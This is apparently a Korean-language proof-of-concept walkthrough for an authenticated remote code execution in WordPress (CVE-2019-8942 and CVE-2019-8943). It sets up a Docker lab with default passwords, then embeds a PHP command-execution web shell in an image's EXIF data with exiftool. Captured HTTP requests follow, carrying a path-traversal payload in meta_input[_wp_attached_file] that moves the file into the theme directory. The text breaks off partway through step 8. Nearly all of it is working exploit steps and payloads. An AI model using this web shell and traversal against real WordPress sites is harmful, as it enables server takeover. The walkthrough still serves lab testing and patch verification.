요약

WordPress RCE(작성자 권한)를 위한 간단한 PoC로, CVE-2019-8942 및 CVE-2019-8943을 참조하세요.

영향을 받는 버전

• WordPress <= 4.9.8 (확인됨)
• WordPress <= 5.0.0

테스트 환경

Docker 이미지

• docker pull avfisherdocker/wordpress:4.9.8
• docker run -d -p 80:80 avfisherdocker/wordpress:4.9.8

Mysql 및 WordPress 정보

유형	사용자 이름	비밀번호
mysql	root	root
wordpress	admin	admin4wp498
wordpress	author	author4wp498

개념 증명(PoC)

1. 트래픽을 가로채기 위해 Burp를 시작합니다.

2. exiftool로 poc.jpg 악성 이미지 파일을 생성합니다.

• exiftool poc.jpg -documentname="<?php echo exec(\$_POST['cmd']); ?>"

3. WPScan으로 현재 테마를 탐지합니다.

• wpscan -u <URL> -et, 예: wordpress 4.9.8의 기본값인 twentyseventeen

4. 페이로드 이미지 파일 poc.jpg를 업로드합니다.

• author 계정으로 로그인합니다;
• 대시보드에서 미디어 - 새로 추가를 클릭하여 poc.jpg 파일을 업로드합니다;
• 업로드된 이미지를 선택하고 세부 정보 더 편집 - 업데이트를 클릭합니다;
• Burp에서 아래와 유사한 POST 요청 /wp-admin/post.php를 확인한 후 Repeater로 전송합니다:

POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1

_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc

5. 이미지를 자릅니다.

• 미디어로 이동하여 4단계에서 업로드한 이미지를 선택합니다;
• 이미지 편집을 클릭하여 이미지를 자른 후 저장을 클릭합니다;
• Burp에서 아래와 유사한 POST 요청 /wp-admin/admin-ajax.php를 확인한 후 Repeater로 전송합니다:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/upload.php?item=6&mode=edit
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 174
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126785
Connection: close

action=image-editor&_ajax_nonce=0fc4799ff5&postid=6&history=%5B%7B%22c%22%3A%7B%22x%22%3A10%2C%22y%22%3A13%2C%22w%22%3A32%2C%22h%22%3A26%7D%7D%5D&target=full&context=&do=save

6. 첨부 파일을 poc.jpg#/poc.jpg로 업데이트합니다.

• Burp Repeater에서 4단계에서 캡처한 POST 요청 /wp-admin/post.php에 &meta_input[_wp_attached_file]=<CURRENT YEAT>/<CURRENT MONTH>/poc.jpg#/poc.jpg를 추가합니다(예: 2019년 2월의 경우 &meta_input[_wp_attached_file]=2019/02/poc.jpg#/poc.jpg). 아래와 유사한 형태로 추가한 후 Go를 클릭합니다.

POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1

_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc&meta_input[_wp_attached_file]=2019/02/poc.jpg#/poc.jpg

7. 이미지를 자릅니다.

• Burp Repeater에서 5단계에서 캡처한 POST 요청 /wp-admin/admin-ajax.php를 반복합니다.

8. 첨부 파일을 poc.jpg#/../../../../themes/<CURRENT THEME>/poc.jpg로 업데이트합니다.

• Burp Repeater에서 4단계에서 캡처한 POST 요청 /wp-admin/post.php를 아래와 유사한 형태로 &meta_input[_wp_attached_file]=<CURRENT YEAR>/<CURRENT MONTH>/poc.jpg#/../../../../themes/<CURRENT THEME>/poc.jpg로 업데이트합니다(예: 2019년 2월의 경우 &meta_input[_wp_attached_file]=2019/02/poc.jpg#/../../../../themes/twentyseventeen/poc.jpg). 그런 다음 Go를 클릭합니다.

POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1